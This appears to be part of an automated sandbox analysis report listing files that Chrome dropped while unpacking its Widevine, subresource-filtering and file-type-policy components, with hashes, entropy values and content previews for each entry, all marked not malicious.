                                                                                Preview:{"primary":"https://bild.de","associatedSites":["https://welt.de","https://autobild.de","https://computerbild.de","https://wieistmeineip.de"],"serviceSites":["https://www.asadcdn.com"]}.{"primary":"https://blackrock.com","associatedSites":["https://blackrockadvisorelite.it","https://cachematrix.com","https://efront.com","https://etfacademy.it","https://ishares.com"]}.{"primary":"https://cafemedia.com","associatedSites":["https://cardsayings.net","https://nourishingpursuits.com"]}.{"primary":"https://caracoltv.com","associatedSites":["https://noticiascaracol.com","https://bluradio.com","https://shock.co","https://bumbox.com","https://hjck.com"]}.{"primary":"https://carcostadvisor.com","ccTLDs":{"https://carcostadvisor.com":["https://carcostadvisor.be","https://carcostadvisor.fr"]}}.{"primary":"https://citybibleforum.org","associatedSites":["https://thirdspace.org.au"]}.{"primary":"https://cognitiveai.ru","associatedSites":["https://cognitive-ai.ru"]}.{"primary":"https://drimer.io","asso

                                                                                C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_1732070053\LICENSE

                                                                                Download File
                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                File Type:ASCII text
                                                                                Category:dropped
                                                                                Size (bytes):473
                                                                                Entropy (8bit):4.388167319950301
                                                                                Encrypted:false
                                                                                SSDEEP:6:LOT6w+DmsDZrkrDxBYRgELGNB+cIMLohXOl0t1iKR/UFioWd9+iAt4jZMeLhJoUs:iwDtVEDsCDLeelyigqBjt4eK2f55
                                                                                MD5:F6719687BED7403612EAED0B191EB4A9
                                                                                SHA1:DD03919750E45507743BD089A659E8EFCEFA7AF1
                                                                                SHA-256:AFB514E4269594234B32C873BA2CD3CC8892E836861137B531A40A1232820C59
                                                                                SHA-512:DD14A7EAE05D90F35A055A5098D09CD2233D784F6AC228B5927925241689BFF828E573B7A90A5196BFDD7AAEECF00F5C94486AD9E3910CFB07475FCFBB7F0D56
                                                                                Malicious:false
                                                                                Preview:Google LLC and its affiliates ("Google") own all legal right, title and.interest in and to the content decryption module software ("Software") and.related documentation, including any intellectual property rights in the.Software. You may not use, modify, sell, or otherwise distribute the Software.without a separate license agreement with Google. The Software is not open.source software...If you are interested in licensing the Software, please contact.www.widevine.com.

                                                                                C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_1732070053\_metadata\verified_contents.json

                                                                                Download File
                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                File Type:JSON data
                                                                                Category:dropped
                                                                                Size (bytes):1550
                                                                                Entropy (8bit):5.9461543350675905
                                                                                Encrypted:false
                                                                                SSDEEP:48:p/hFkmoyMTI1jglp6NjkakKwk+R2VJAz5s:RhMka5adwTYQz5s
                                                                                MD5:98B310FC33843D771DA0089FA155EDB2
                                                                                SHA1:5690A43F43673B947EB4C433CB4F5488A287E29C
                                                                                SHA-256:28F09A4AF935D2894689CC00658D597257422CAFF20A01055EFD8E78AD5E829F
                                                                                SHA-512:E76830974EA54C94E857179CA0DA893E088034367CA5C33E71C1016B788E737D65AB49AD9A9E6FEB85385B963AF5C13DB0A91E3F3072AC91600E91A1CEA0AB6F
                                                                                Malicious:false
                                                                                Preview:[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJMSUNFTlNFIiwicm9vdF9oYXNoIjoicjdVVTVDYVZsQ05MTXNoenVpelR6SWlTNkRhR0VUZTFNYVFLRWpLQ0RGayJ9LHsicGF0aCI6Il9wbGF0Zm9ybV9zcGVjaWZpYy93aW5feDY0L3dpZGV2aW5lY2RtLmRsbCIsInJvb3RfaGFzaCI6IjIyaDRkdGc4WEx5b2pnb3h3STdVUWppQTRXZ1ZMSFg1YV9oWVZaTFpBNUEifSx7InBhdGgiOiJfcGxhdGZvcm1fc3BlY2lmaWMvd2luX3g2NC93aWRldmluZWNkbS5kbGwuc2lnIiwicm9vdF9oYXNoIjoiMDJOMUd3N2toUmZhRzFiQmZfelhqZFZfSmJDU3NKaDVabjJ4QXpnSGRpRSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKYWNDM1ZPSnpIc0hmR3RPQnNINjJiM3FkS25EZEZNNGlZYlFrOEozMkNjIn1dLCJmb3JtYXQiOiJ0cmVlaGFzaCIsImhhc2hfYmxvY2tfc2l6ZSI6NDA5Nn1dLCJpdGVtX2lkIjoib2ltb21wZWNhZ25hamRlamdubmppam9iZWJhZWlnZWsiLCJpdGVtX3ZlcnNpb24iOiI0LjEwLjI4MzAuMCIsInByb3RvY29sX3ZlcnNpb24iOjF9","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"KnESAO6ts6E14P0aoVwC_yghkUn7_i9PCMh0NvK44eLJL04dv

                                                                                C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_1732070053\_platform_specific\win_x64\widevinecdm.dll

                                                                                Download File
                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                Category:dropped
                                                                                Size (bytes):19236784
                                                                                Entropy (8bit):7.70214269860876
                                                                                Encrypted:false
                                                                                SSDEEP:393216:FPRzXYeXFyjsrZuvpYl5SJIhw7PJeP9TZHZMaMq0Vrq8P:DFyjs0pYl1hwDJeVT7erq8P
                                                                                MD5:9D76604A452D6FDAD3CDAD64DBDD68A1
                                                                                SHA1:DC7E98AD3CF8D7BE84F6B3074158B7196356675B
                                                                                SHA-256:EB98FA2CFE142976B33FC3E15CF38A391F079E01CF61A82577B15107A98DEA02
                                                                                SHA-512:EDD0C26C0B1323344EB89F315876E9DEB460817FC7C52FAEDADAD34732797DAD0D73906F63F832E7C877A37DB4B2907C071748EDFAD81EA4009685385E9E9137
                                                                                Malicious:false
                                                                                Antivirus:
                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                Joe Sandbox View:
                                                                                • Filename: EPAYMENT_Receipt.html, Detection: malicious, Browse
                                                                                • Filename: Capelleaandenijssel.nl_reff_9918205228_HelNc2Zf7n.html, Detection: malicious, Browse
                                                                                • Filename: , Detection: malicious, Browse
                                                                                • Filename: Inv_Doc_18#908.pdf, Detection: malicious, Browse
                                                                                • Filename: , Detection: malicious, Browse
                                                                                • Filename: AMA - 375,545.04.htm, Detection: malicious, Browse
                                                                                • Filename: ACH Payment Details_(Dcorbett)CQDM.html, Detection: malicious, Browse
                                                                                • Filename: doc_inv_09-12#965.pdf, Detection: malicious, Browse
                                                                                • Filename: bot_library.exe, Detection: malicious, Browse
                                                                                • Filename: svAsYrT598.exe, Detection: malicious, Browse
                                                                                Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....Gf.........." ......o.........P.l......................................p].....c.%...`A..........................................!.......!...... ]......`[..$...f%..!...0].0:....!.8.....................!.(...`cp.@...........p.!..............................text.....o.......o................. ..`.rdata..x.....o.......o.............@..@.data...pv8...".......".............@....pdata...$...`[..&....#.............@..@.00cfg..0.....\.......$.............@..@.gxfg... (....\..*....$.............@..@.retplne......\.......%..................rodata.......\.......%............. ..`.tls..........\.......%.............@..._RDATA..\.....]...... %.............@..@malloc_h......]......"%............. ..`.rsrc........ ]......$%.............@..@.reloc..0:...0]..<...*%.............@..B................................................................................................

                                                                                C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_1732070053\_platform_specific\win_x64\widevinecdm.dll.sig

                                                                                Download File
                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1427
                                                                                Entropy (8bit):7.572464059652219
                                                                                Encrypted:false
                                                                                SSDEEP:24:38H/VZn47VBRxgCUQuODHBJeriJ8yojUdnkLvXWgl0oHLrUXAokYH/o8j/bmspTh:38HdurRxHSOlAiqYoXWVDXJ/o8zbmsFh
                                                                                MD5:A19EC48B4B28F3AA9C32150DCA8C0E39
                                                                                SHA1:02981E40B643C2A987D47BF58F42B7F3CA5AAF07
                                                                                SHA-256:D363751B0EE48517DA1B56C17FFCD78DD57F25B092B09879667DB10338077621
                                                                                SHA-512:718A24E1FB45AB0FD3DB5A5C45B0E0061D9061D8615E2A8D6DB2150BF72267E96774094A6FC07A250D5BBBC5133A1CB635D8F7ADC5B1751FA99327FCE9555941
                                                                                Malicious:false
                                                                                Preview:....0...0...........6cd/+J.v{..B...0...*.H........0}1.0...U....US1.0...U....Washington1.0...U....Kirkland1.0...U....Google1.0...U....Widevine1"0 ..U....widevine-codesign-root-ca0...171013173909Z..271011173909Z0y1.0...U....US1.0...U....Washington1.0...U....Kirkland1.0...U....Google1.0...U....Widevine1.0...U....widevine-vmp-codesign0.."0...*.H.............0.........2F..8.e..-....$r...{^........0.%.HA...sA"D.q.=6...#.J.N.......&..k;.+...<xF.......B8.)S....o..|Ci.F.A6....J.......Y..4..{.5u.9N...=...#.M..s.F!j.f%&ld.R...?!Ot@......#.f..O..[.V.p0y....+...S.].....M.=.9...>.. ........>.:....1tl.....`D/c..j..........0..0...U......L...cC.E..R.n...$.0...U.#..0....=..tW....!.B.#U).0...U....0.0...U........0...U.%..0...+.......0...+.....y........0...*.H.............g.."..[..t{.4~.,.G....4K.....(x$...} .*...N..b|d......h..u6?.L.(&.Oup...$!...4R. 5.-...s...K/..U[..[.+.sAX*.~...^0..ba>;.#....x...b.-1...E..l....S.n.a....)U .q..C>d:...<[..F5...7...[.-.l}.T Lc.X..Qf...z..:.Q..e.m

                                                                                C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_1732070053\manifest.fingerprint

                                                                                Download File
                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                File Type:ASCII text, with no line terminators
                                                                                Category:dropped
                                                                                Size (bytes):66
                                                                                Entropy (8bit):3.9232676497295262
                                                                                Encrypted:false
                                                                                SSDEEP:3:SQTWAEVtGbSHaqHGDTzoARPkBDF:SQyANeayyTzTP6
                                                                                MD5:5BFBCC6E7AA3E9C1570C5C73F38FA8EA
                                                                                SHA1:497BAFA5658C6CE8C8010D12F104EEBEC7A1BAE2
                                                                                SHA-256:84470096167EA43C0880B39FE44B42F552014E4F85B66805C2935C542BA3CB8E
                                                                                SHA-512:41BBED6CC317FF190189D63D6D5910D30E23A5160E5FF5F635FF408AAB13452DA8174556D7120DB176701435A3329A93A7450583404D56C34A37B67F1A332EDC
                                                                                Malicious:false
                                                                                Preview:1.567f5df81ea0c9bdcfb7221f0ea091893150f8c16e3012e4f0314ba3d43f1632

                                                                                C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_1732070053\manifest.json

                                                                                Download File
                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                File Type:JSON data
                                                                                Category:dropped
                                                                                Size (bytes):1001
                                                                                Entropy (8bit):4.774546324439748
                                                                                Encrypted:false
                                                                                SSDEEP:24:ulaihI11X1TRuRckckH3WoA0UNqLQxUNqmTxyNq+TA:C1hYl1uRfckHkseDA
                                                                                MD5:2FF237ADBC218A4934A8B361BCD3428E
                                                                                SHA1:EFAD279269D9372DCF9C65B8527792E2E9E6CA7D
                                                                                SHA-256:25A702DD5389CC7B077C6B4E06C1FAD9BDEA74A9C37453388986D093C277D827
                                                                                SHA-512:BAFD91699019AB756ADF13633B825D9D9BAE374CA146E8C05ABC70C931D491D421268A6E6549A8D284782898BC6EB99E3017FBE3A98E09CD3DFECAD19F95E542
                                                                                Malicious:false
                                                                                Preview:{. "manifest_version": 2,. "update_url": "https://clients2.google.com/service/update2/crx",. "name": "WidevineCdm",. "description": "Widevine Content Decryption Module",. "version": "4.10.2830.0",. "minimum_chrome_version": "68.0.3430.0",. "x-cdm-module-versions": "4",. "x-cdm-interface-versions": "10",. "x-cdm-host-versions": "10",. "x-cdm-codecs": "vp8,vp09,avc1,av01",. "x-cdm-persistent-license-support": true,. "x-cdm-supported-encryption-schemes": [. "cenc",. "cbcs". ],. "icons": {. "16": "imgs/icon-128x128.png",. "128": "imgs/icon-128x128.png". },. "platforms": [. {. "os": "win",. "arch": "x64",. "sub_package_path": "_platform_specific/win_x64/". },. {. "os": "win",. "arch": "x86",. "sub_package_path": "_platform_specific/win_x86/". },. {. "os": "win",. "arch": "arm64",. "sub_package_path": "_platform_specific/win_arm64/". }. ],. "accept_arch": [. "x64",. "x86_64",. "x86_64h". ].

                                                                                C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_1887124166\Filtering Rules

                                                                                Download File
                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):74272
                                                                                Entropy (8bit):5.535436646838848
                                                                                Encrypted:false
                                                                                SSDEEP:1536:GB9Cdg51kGLmOSe1pEQHdPr4l0TmmJ2I7CwguaRZrgMQUavJX5vwKf:Sok1RLtb1ptdPrYk1J2IPguangMQ3X5P
                                                                                MD5:B23DD5B6ECCB460003EA37BA0F5E3730
                                                                                SHA1:FD444553CB7699F84CE7E5664232771673DCF67D
                                                                                SHA-256:7F7F432C27D97DEE184DCD3EA20F731674C008BE849C0136F9C5358E359F3EA9
                                                                                SHA-512:7E47BD172C4BD4C65F063A8FA3FB33ED47F29156EB20E42D4E8EA73C6F02526A30FFE907BE5B7C1406D4EAA71FBEC7C0D557C376DCCD0A1A961E2F61B3431181
                                                                                Malicious:false
                                                                                Preview:............0.8.@.R.-728x90...........0.8.@.R.adtdp.com^..........0.8.@.R.yomeno.xyz^..........0.8.@.R.yellowblue.io^..........0.8.@.R.thubanoa.com^..........0.8.@.R.ad999.biz^..........0.8.@.R._468_60...........0.8.@.R.adrecover.com^..........0.8.@.R.pemsrv.com^..........0.8.@.R.mnaspm.com^..........0.8.@.R..ar/ads/."......0.8.@.R./plugins/cactus-ads/.,........0.8.@.R.mysmth.net/nForum/*/ADAgent_.>........*...worldstar.com0.8.@.R.js.assemblyexchange.com/wana...........0.8.@.R.indoleads.com^.%......0.8.@.R.discordapp.com/banners/.(........0.8.@.R.looker.com/api/internal/.#........0.8.@.R.broadstreetads.com^.(........0.8.@.R.shikoku-np.co.jp/img/ad/..........0.8.@.R./banner.cgi?..........0.8.@.R./in/track?data=.!......0.8.@.R.linkbucks.com/tmpl/..........0.8.@.R.clicktripz.com^..........0.8.@.R.-ad-manager/..........0.8.@.R./page-links-to/dist/new-tab.js........0.8.@.R.files.slack.com^.$........0.8.@.R.admitad-connect.com^.2........0.8.@.R"cloudfront.net/js/common/invoke.js..........0.8

                                                                                C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_1887124166\LICENSE.txt

                                                                                Download File
                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                File Type:ASCII text, with CRLF line terminators
                                                                                Category:dropped
                                                                                Size (bytes):24623
                                                                                Entropy (8bit):4.588307081140814
                                                                                Encrypted:false
                                                                                SSDEEP:384:mva5sf5dXrCN7tnBxpxkepTqzazijFgZk231Py9zD6WApYbm0:mvagXreRnTqzazWgj0v6XqD
                                                                                MD5:D33AAA5246E1CE0A94FA15BA0C407AE2
                                                                                SHA1:11D197ACB61361657D638154A9416DC3249EC9FB
                                                                                SHA-256:1D4FF95CE9C6E21FE4A4FF3B41E7A0DF88638DD449D909A7B46974D3DFAB7311
                                                                                SHA-512:98B1B12FF0991FD7A5612141F83F69B86BC5A89DD62FC472EE5971817B7BBB612A034C746C2D81AE58FDF6873129256A89AA8BB7456022246DC4515BAAE2454B
                                                                                Malicious:false
                                                                                Preview:EasyList Repository Licences.... Unless otherwise noted, the contents of the EasyList repository.. (https://github.com/easylist) is dual licensed under the GNU General.. Public License version 3 of the License, or (at your option) any later.. version, and Creative Commons Attribution-ShareAlike 3.0 Unported, or.. (at your option) any later version. You may use and/or modify the files.. as permitted by either licence; if required, "The EasyList authors.. (https://easylist.to/)" should be attributed as the source of the.. material. All relevant licence files are included in the repository..... Please be aware that files hosted externally and referenced in the.. repository, including but not limited to subscriptions other than.. EasyList, EasyPrivacy, EasyList Germany and EasyList Italy, may be.. available under other conditions; permission must be granted by the.. respective copyright holders to authorise the use of their material.......Creative Commons Attribut

                                                                                C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_1887124166\_metadata\verified_contents.json

                                                                                Download File
                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                File Type:JSON data
                                                                                Category:dropped
                                                                                Size (bytes):1529
                                                                                Entropy (8bit):5.990179229242317
                                                                                Encrypted:false
                                                                                SSDEEP:24:pZRj/flTHYe1DxxpTkYbKCCojeT31zkaoX63wMHF48I31RwCCyqoX6kyKlklyJqw:p/h4YDxxlbKlTlkakgPLI3hCyqkwnlKD
                                                                                MD5:2FF08C4B4128F634CBBFEA0C1C44AA2E
                                                                                SHA1:45D11E57DDF29E843AC8545C7D06CDDB5DF3E962
                                                                                SHA-256:33B6F2ECD5FB7F9FAF538F29808716EFA337A653809943A8E4B5E450B734DA09
                                                                                SHA-512:14BD9E921E1DB9AC8720C1177897DB624292865D29B976ED9CCCEE572726D7D123A8F39E470987DF796AE0552861FBAE056CDB395F0CB8B0E699C28F5E221999
                                                                                Malicious:false
                                                                                Preview:[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJGaWx0ZXJpbmcgUnVsZXMiLCJyb290X2hhc2giOiJpQTVSR2RtNXU1ZjM2ZTJ0QlhPcmJEcEJQX0NxTFc1VW9GZ0NTQ0diU01rIn0seyJwYXRoIjoiTElDRU5TRS50eHQiLCJyb290X2hhc2giOiIyaWswNmk0TFlCdVNHNWphRGFIS253NE9pdnVSRzZsQ0JKMVk0TGtzRFJJIn0seyJwYXRoIjoibWFuaWZlc3QuanNvbiIsInJvb3RfaGFzaCI6IkZ3Q2hIOUhsZzJlMFVLUWJLdVg5SnV5MXpiUlpocHg1YkgzZUdQSFREM00ifV0sImZvcm1hdCI6InRyZWVoYXNoIiwiaGFzaF9ibG9ja19zaXplIjo0MDk2fV0sIml0ZW1faWQiOiJnY21qa21nZGxnbmtrY29jbW9laW1pbmFpam1tam5paSIsIml0ZW1fdmVyc2lvbiI6IjkuNTEuMCIsInByb3RvY29sX3ZlcnNpb24iOjF9","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"ifBoq-woYhqxB78EqRoo2fPRIEfkuykYMlD9kWeeG2QS6-R5YvGNJ9n5OljLXGjvK5U3MDFRLi-UCguxuUaoFjU_QeSCiOLxvDS5JHdk8Bbba8fCW6ZKnH_fvocQD8W7Hj0reH3gOPmD7sIraz8IvG86GRuGPqsxbgc_BRtOCa5KRgqaxfjt7tKlOtaUoO3_qsNlf_8F8k0tNZh131RRIEaXw53z3ZzGpWtgYC0u6s0JKag8l

                                                                                C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_1887124166\manifest.fingerprint

                                                                                Download File
                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                File Type:ASCII text, with no line terminators
                                                                                Category:dropped
                                                                                Size (bytes):66
                                                                                Entropy (8bit):3.8568101737886993
                                                                                Encrypted:false
                                                                                SSDEEP:3:SWcgK7GtszDAAnHT:SWc97GWzDlnHT
                                                                                MD5:6DBEDE254AF8A23D6CB2ABAEA8D2E38F
                                                                                SHA1:A827D46FA5D53CB7B134F143CC15A30BA015ED21
                                                                                SHA-256:376ED55CD5AB45C0F7BAA1AF0AC2637C33DEA6D1D4683B729AE7CE764F70DAA1
                                                                                SHA-512:0F28FD8AF582C18ECCCC1321B94902501D31C4B6C1D11684780DED6217C14E1B313F58A644516F37AE69232F1C2861915337A4D84185E18124F40C629A50B7F9
                                                                                Malicious:false
                                                                                Preview:1.3651711652892acf34795b2c7e4d401ed2274c20e952f65cf52deeeef5bbf9b5

                                                                                C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_1887124166\manifest.json

                                                                                Download File
                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                File Type:JSON data
                                                                                Category:dropped
                                                                                Size (bytes):114
                                                                                Entropy (8bit):4.547350270682037
                                                                                Encrypted:false
                                                                                SSDEEP:3:rR6TAulhFphifFHXG7LGMdv5HcDKhtUJKS1KPYn:F6VlMZWuMt5SKPS1eY
                                                                                MD5:3448D97DA638C7EF0FBCA9B6949FFC8F
                                                                                SHA1:36D8434F26F0316FAB4627F7856FCA7291FE8ADF
                                                                                SHA-256:1700A11FD1E58367B450A41B2AE5FD26ECB5CDB459869C796C7DDE18F1D30F73
                                                                                SHA-512:9BF9055B2EF82BD1D2A1E94009FED2D3481FE2DC336D306FA0DB786658EFA5B72C9A9A214A829B9FCC4222476051871FF012009C64F09B9109072ABDF3DEF8CC
                                                                                Malicious:false
                                                                                Preview:{. "manifest_version": 2,. "name": "Subresource Filtering Rules",. "ruleset_format": 1,. "version": "9.51.0".}

                                                                                C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_2060455088\_metadata\verified_contents.json

                                                                                Download File
                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                File Type:JSON data
                                                                                Category:dropped
                                                                                Size (bytes):1425
                                                                                Entropy (8bit):5.984015066019505
                                                                                Encrypted:false
                                                                                SSDEEP:24:pZRj/flTm6MHaGpqY14pFpNo5zkaoXs3jrDWJ4um6Sj3NFvLToXUlyEghoYruFW0:p/hyaI114p/NoBkakK+MzjvPknzhjrIR
                                                                                MD5:DB6B5E9AD82567AC91E385C844EE48E8
                                                                                SHA1:A036AB1A8414849A86251A2FF9BF6710A9C9F4E7
                                                                                SHA-256:52C7DEEAF3D58CD2DFCD83742FB8A98EA190A3D00D472A7CD7EEA5906DADC42C
                                                                                SHA-512:513302E49F532A452867CA04B090AB6E86D5DF1B05F0C5C66E2E79B04841244F020CDE23CC5112400E8DFC01F77301079749BD435F71791E98289F94E0C29BEB
                                                                                Malicious:false
                                                                                Preview:[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJkb3dubG9hZF9maWxlX3R5cGVzLnBiIiwicm9vdF9oYXNoIjoiQkJEaURlc3R5Zkk0NGlud1Job1pwcktTaklVRFFEYWE0N0VudExRY0JONCJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJXd0ZSSW5iRVhzeEQxTC1wcVJLOXIzcjhKaFVJZ2ZLZ0VabHl2XzI5aXJBIn1dLCJmb3JtYXQiOiJ0cmVlaGFzaCIsImhhc2hfYmxvY2tfc2l6ZSI6NDA5Nn1dLCJpdGVtX2lkIjoia2hhb2llYm5ka29qbG1wcGVlbWpoYnBiYW5kaWxqcGUiLCJpdGVtX3ZlcnNpb24iOiI2NyIsInByb3RvY29sX3ZlcnNpb24iOjF9","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"kKjnK_PItzAiww4ew3TipZEHlREOkbr8UtbU-gA0Nty9dJxeCT89OutDvsrBvbjWbaELYjJeug3zH8EkBkgm-Ys03h0deA0OzuU19DjG67xldatYWg95ZaexcYoSRnyWpfBTZgvhO-9JLZxf36rYJVRQaQxUh6j9zRJAXBdfMtx2O3WZu4cZ2Bvza43OTYPpsEcxYmosdlns5P9vjb0JdlbFjHunCf44SjbNrjCpLZ6v5pTGp7wxROmCBO42Npsbvs4-LQpclOuAnfpe2KMpoP6gu_uMx7NPuSeBlecmdjrZmdrBs9TBEHCEC9vhB_gQk_9l3bG9saumEiiuzF25XA"},

                                                                                C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_2060455088\download_file_types.pb

                                                                                Download File
                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):7983
                                                                                Entropy (8bit):5.140722973269124
                                                                                Encrypted:false
                                                                                SSDEEP:192:C0aEW8SsWk/pvtHB3Nf5Y10k6QKEa4pmifL1YbAnz1BRsO6v:C0aEW8SsWk/pvtHB3Nf5YKk6QKEa4pmf
                                                                                MD5:D28B6246CBA1D78930D98B7B943D4FC0
                                                                                SHA1:4936EBC7DBE0C2875046CAC3A4DCAA35A7434740
                                                                                SHA-256:239557F40C6F3A18673D220534B1A34289021142DC9BA0D438A3A678333A0EC6
                                                                                SHA-512:B8DBEBE85E6D720C36DBDAE9395FB633FB7028FECC5292498AC89276AE87BD6DE36288FBF858F3476E18033A430F503ACF6280596449DD0478B6AB7139F3CEA6
                                                                                Malicious:false
                                                                                Preview:.C...#<....jpg... .*.........jpeg... .*.........mp3... .*.........mp4... .*.........png... .*.........csv... .*.........ica... .*.........gif... .*.........txt... .*.........package... .*.........tif... .*.........webp... .*.........mkv... .*.........wav... .*.........mov... .*.........avif... .*.........swf.D .*.........spl.E .*.........crx.. .*.........001..... .*.........7z.4.. .*.....0.....ace..... .*.........arc..... .*.........arj.:.. .*.........b64..... .*.........balz..... .*.........bhx..... .*.........bin..... .*.....0.....bz..... .*.........bz2.8.. .*.........bzip2..... .*.........cab.... .*.........cpio.@.. .*.........fat..... .*.........gz.6.. .*.........gzip..... .*.........hfs..... .*.........hqx..... .*.........iso..... .*.....0.....lha.<.. .*.........lpaq1..... .*.........lpaq5..... .*.........lpaq8..... .*.........lzh.;.. .*.........lzma.?.. .*.........mim..... .*.........ntfs..... .*.........paq8f..... .*.........paq8jd..... .*.........paq8l..... .*.........paq8o....

                                                                                C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_2060455088\manifest.fingerprint

                                                                                Download File
                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                File Type:ASCII text, with no line terminators
                                                                                Category:dropped
                                                                                Size (bytes):66
                                                                                Entropy (8bit):3.979439068908279
                                                                                Encrypted:false
                                                                                SSDEEP:3:SRg4S5KgSEBWX0mRDUVnA0O:S24S5zJBQ/UVnA0O
                                                                                MD5:0A07A8A7914A071E6811D81670554730
                                                                                SHA1:81F0F6EC7A80017DEBC7DA02EE490F054D3E5D3F
                                                                                SHA-256:B60DE962335450BF4502F51F99568F5F7BF4F640F964E0B5ACCBE33C7099A919
                                                                                SHA-512:D6214E6D00C98B71677D8922917ACE7C16613876DBAA4F7A20A776843252F5752E85038CD9ED4B7F8DB8312FE6A04B82C8C4BD7EC7FB9A60DB4119941DC3B499
                                                                                Malicious:false
                                                                                Preview:1.44c97a8527ef50cab95a16c5e78cd321cbdf315726823afe7e0482af9eb18319

                                                                                C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_2060455088\manifest.json

                                                                                Download File
                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                File Type:JSON data
                                                                                Category:dropped
                                                                                Size (bytes):76
                                                                                Entropy (8bit):4.347669086800013
                                                                                Encrypted:false
                                                                                SSDEEP:3:rR6TAulhFphifFRxJ1KnOFgS1bn:F6VlMDf1KqgS1b
                                                                                MD5:C08A4E8FE2334119D49CA6967C23850F
                                                                                SHA1:13C566B819D8E087246C80919E938EF2828B5DC4
                                                                                SHA-256:5B01512276C45ECC43D4BFA9A912BDAF7AFC26150881F2A0119972BFFDBD8AB0
                                                                                SHA-512:506F9F4FA4BAAA4096CE10007EB09CFA95C9188082053B9FF7F2DEC65164FF57506B6A8FEA28D58783700F257C982AEF037AFC33F62DA8DA281E67636430DC23
                                                                                Malicious:false
                                                                                Preview:{. "manifest_version": 2,. "name": "fileTypePolicies",. "version": "67".}

                                                                                C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_221767600\_metadata\verified_contents.json

                                                                                Download File
                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                File Type:JSON data
                                                                                Category:dropped
                                                                                Size (bytes):1765
                                                                                Entropy (8bit):6.016932513650603
                                                                                Encrypted:false
                                                                                SSDEEP:48:p/hKAGj0FnAp7XgNGIaku9E5tPJXaWqkbszesM:R5Gj0FAlsaBmfPsRD3M
                                                                                MD5:6D1D175F88B64546105E3E7C31D1129A
                                                                                SHA1:75A1B56F55BB62B05365A0FDBFC7941DE77CBFAF
                                                                                SHA-256:A0BC246E8E160A9BB32FA60F4E7A04D148A17125F426509466031E07731FDF81
                                                                                SHA-512:5C80908331E30C7EAD67F7F6C5AB064B07626FD9C58925A0D2124D66B25C5AE2F218BDACFB68AFCB332E88EB297CFB7E0A7A9E5E1E54C9B7A510FEF095F9B54F
                                                                                Malicious:false
